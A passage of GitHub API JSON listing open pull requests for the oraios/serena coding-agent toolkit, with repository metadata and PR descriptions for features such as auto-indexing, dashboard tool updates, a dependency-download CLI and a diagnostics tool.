          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/815"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/815"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/815"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/815/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/815/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/815/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/17cdcc2415c9e6a13776cd2b880f18c90c00a9aa"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/798",
      "id": 3059655696,
      "node_id": "PR_kwDOONgOes62XqQQ",
      "number": 798,
      "state": "open",
      "locked": false,
      "title": "feat: Add auto_index_on_activate config option",
      "user": {
        "login": "w0wl0lxd",
        "id": 199849635,
        "node_id": "U_kgDOC-l2ow",
        "avatar_url": "https://avatars.githubusercontent.com/u/199849635?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/w0wl0lxd",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "## Summary\n- Adds new `auto_index_on_activate` config option to `ProjectConfig` (defaults to `false`)\n- When enabled, automatically indexes all project source files after project activation\n- Pre-populates symbol caches for faster first queries on large projects\n\n## Changes\n- Added `auto_index_on_activate: bool = False` field to `ProjectConfig` dataclass\n- Implemented `_auto_index_project()` method in `SerenaAgent` that runs after LSP initialization\n- Updated `project.template.yml` with documentation for the new option\n- Added 3 unit tests for config parsing behavior\n\n## Test plan\n- [x] Run `uv run poe format` - passes\n- [x] Run `uv run poe type-check` - passes  \n- [x] Run `uv run poe test` - all 10 config tests pass\n- [ ] Manual test: Enable option in a project.yml and verify indexing runs on activation",
      "created_at": "2025-12-01T15:03:15Z",
      "updated_at": "2026-01-21T11:43:01Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": null,
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "w0wl0lxd:feature/auto-index-on-activate",
        "ref": "feature/auto-index-on-activate",
        "sha": "f5d42b60553f066312dfd78ec8ca29413f895d47",
        "user": {
          "login": "w0wl0lxd",
          "id": 199849635,
          "node_id": "U_kgDOC-l2ow",
          "avatar_url": "https://avatars.githubusercontent.com/u/199849635?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/w0wl0lxd",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1107440826,
          "node_id": "R_kgDOQgI0ug",
          "name": "serena",
          "full_name": "w0wl0lxd/serena",
          "private": false,
          "owner": {
            "login": "w0wl0lxd",
            "id": 199849635,
            "node_id": "U_kgDOC-l2ow",
            "avatar_url": "https://avatars.githubusercontent.com/u/199849635?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/w0wl0lxd",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/w0wl0lxd/serena",
          "created_at": "2025-12-01T06:22:49Z",
          "updated_at": "2025-12-01T06:22:50Z",
          "pushed_at": "2025-12-12T03:23:34Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 5177,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": null,
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/798"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/798"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/798"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/798/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/798/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/798/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/f5d42b60553f066312dfd78ec8ca29413f895d47"
        }
      },
      "author_association": "CONTRIBUTOR",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/719",
      "id": 2967969598,
      "node_id": "PR_kwDOONgOes6w558-",
      "number": 719,
      "state": "open",
      "locked": false,
      "title": "Support updating tools from dashboard",
      "user": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "Using a dedicated tool _update_tool_list which is added to the server at the very end. Unfortunately, there seems to be no better way to do that, as the session object is not exposed in the mcp sdk in other places than the tool's context\r\n\r\n**Doesn't work in Claude Code or Claude Desktop**\r\n\r\nAnthropic's products don't follow Anthropic's own specifications...\r\nhttps://github.com/anthropics/claude-code/issues/4118\r\n\r\nWe probably shouldn't merge until Anthropic resolves it",
      "created_at": "2025-10-31T20:07:51Z",
      "updated_at": "2026-01-21T11:43:01Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": null,
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {
        "0": {
          "login": "opcode81",
          "id": 1295099,
          "node_id": "MDQ6VXNlcjEyOTUwOTk=",
          "avatar_url": "https://avatars.githubusercontent.com/u/1295099?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/opcode81",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        }
      },
      "requested_teams": {},
      "labels": {
        "0": {
          "id": 9620647306,
          "node_id": "LA_kwDOONgOes8AAAACPW9tig",
          "url": "https://api.github.com/repos/oraios/serena/labels/save%20for%20later",
          "name": "save for later",
          "color": "fbca04",
          "default": false,
          "description": ""
        }
      },
      "milestone": null,
      "draft": true,
      "head": {
        "label": "oraios:feature/dynamic_tool_management",
        "ref": "feature/dynamic_tool_management",
        "sha": "dd78df31ac1c99fabd079781d1637f274822e9d1",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/719"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/719"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/719"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/719/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/719/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/719/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/dd78df31ac1c99fabd079781d1637f274822e9d1"
        }
      },
      "author_association": "CONTRIBUTOR",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/711",
      "id": 2961314683,
      "node_id": "PR_kwDOONgOes6wghN7",
      "number": 711,
      "state": "open",
      "locked": false,
      "title": "feat: Add CLI tool to download language server dependencies",
      "user": {
        "login": "giovanimds",
        "id": 5213916,
        "node_id": "MDQ6VXNlcjUyMTM5MTY=",
        "avatar_url": "https://avatars.githubusercontent.com/u/5213916?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/giovanimds",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "Closes #664 \r\n\r\n## What this PR does\r\nThis PR introduces a simple CLI tool to help users download dependencies for the language servers.\r\n\r\nThe main goals of this implementation are:\r\n* To provide a straightforward command for fetching the required dependencies.\r\n* To give the user constructive and clear feedback, especially in case of a download failure.\r\n\r\n## Notes for Reviewers\r\nAs this is my first contribution to this project, I am very open to feedback. Please let me know if there are any changes, improvements, or alternative approaches I should consider.\r\n\r\nThank you for your time and guidance!\r\n",
      "created_at": "2025-10-30T01:17:33Z",
      "updated_at": "2026-02-13T06:11:08Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": null,
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": true,
      "head": {
        "label": "giovanimds:giovanimds/issue664",
        "ref": "giovanimds/issue664",
        "sha": "f76b880ecede30827abee19acfb66a94fc6e37f3",
        "user": {
          "login": "giovanimds",
          "id": 5213916,
          "node_id": "MDQ6VXNlcjUyMTM5MTY=",
          "avatar_url": "https://avatars.githubusercontent.com/u/5213916?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/giovanimds",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1085404010,
          "node_id": "R_kgDOQLHzag",
          "name": "serena",
          "full_name": "giovanimds/serena",
          "private": false,
          "owner": {
            "login": "giovanimds",
            "id": 5213916,
            "node_id": "MDQ6VXNlcjUyMTM5MTY=",
            "avatar_url": "https://avatars.githubusercontent.com/u/5213916?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/giovanimds",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/giovanimds/serena",
          "created_at": "2025-10-29T01:55:11Z",
          "updated_at": "2025-10-29T01:55:11Z",
          "pushed_at": "2026-02-13T06:11:07Z",
          "homepage": "",
          "size": 4359,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": null,
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/711"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/711"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/711"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/711/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/711/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/711/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/f76b880ecede30827abee19acfb66a94fc6e37f3"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": [
        6,
        664
      ]
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/661",
      "id": 2902381369,
      "node_id": "PR_kwDOONgOes6s_tM5",
      "number": 661,
      "state": "open",
      "locked": false,
      "title": "Add support for getting diagnostics",
      "user": {
        "login": "dsyme",
        "id": 7204669,
        "node_id": "MDQ6VXNlcjcyMDQ2Njk=",
        "avatar_url": "https://avatars.githubusercontent.com/u/7204669?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/dsyme",
        "type": "User",
        "user_view_type": "public",
        "site_admin": true
      },
      "body": "# Add GetDiagnosticsTool for Language Server Integration\r\n\r\n## Overview\r\nAdds a new `GetDiagnosticsTool` that retrieves diagnostic information (errors, warnings, hints) from language servers and returns structured JSON output with human-readable severity levels.\r\n\r\n## Key Features\r\n- Integrates with existing `solidlsp` infrastructure\r\n- Returns diagnostics as structured JSON with line/character positions\r\n- Handles missing fields gracefully\r\n- Works with all supported language servers (Go, Python, TypeScript, etc.)\r\n\r\n## Example Output\r\n~~~json\r\n[\r\n  {\r\n    \"severity_name\": \"error\",\r\n    \"message\": \"undefined: undefinedVariable\", \r\n    \"range\": {\"start\": {\"line\": 10, \"character\": 5}},\r\n    \"source\": \"gopls\"\r\n  }\r\n]\r\n~~~\r\n\r\n## Testing\r\n- **14 tests total**: 10 unit tests + 4 Go integration tests\r\n- Real language server integration with gopls\r\n- Comprehensive error handling coverage\r\n\r\n## Bug Fix\r\nFixed solidlsp diagnostic parsing to handle optional fields that some language servers (like Go) may omit.\r\n\r\nEnhances Serena's code analysis capabilities with direct access to language server diagnostics across all supported languages.",
      "created_at": "2025-10-10T01:21:31Z",
      "updated_at": "2026-01-21T11:43:01Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": null,
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": true,
      "head": {
        "label": "dsyme:diag",
        "ref": "diag",
        "sha": "25b0a0b110013a75d10e030ff54be43610a4b248",
        "user": {
          "login": "dsyme",
          "id": 7204669,
          "node_id": "MDQ6VXNlcjcyMDQ2Njk=",
          "avatar_url": "https://avatars.githubusercontent.com/u/7204669?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/dsyme",
          "type": "User",
          "user_view_type": "public",
          "site_admin": true
        },
        "repo": {
          "id": 1073305771,
          "node_id": "R_kgDOP_lYqw",
          "name": "serena",
          "full_name": "dsyme/serena",
          "private": false,
          "owner": {
            "login": "dsyme",
            "id": 7204669,
            "node_id": "MDQ6VXNlcjcyMDQ2Njk=",
            "avatar_url": "https://avatars.githubusercontent.com/u/7204669?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/dsyme",
            "type": "User",
            "user_view_type": "public",
            "site_admin": true
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/dsyme/serena",
          "created_at": "2025-10-09T23:14:20Z",
          "updated_at": "2025-10-09T23:14:20Z",
          "pushed_at": "2025-12-08T00:12:33Z",
          "homepage": "",
          "size": 4744,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": null,
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/661"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/661"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/661"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/661/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/661/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/661/commits"
        },
        "statuses": {
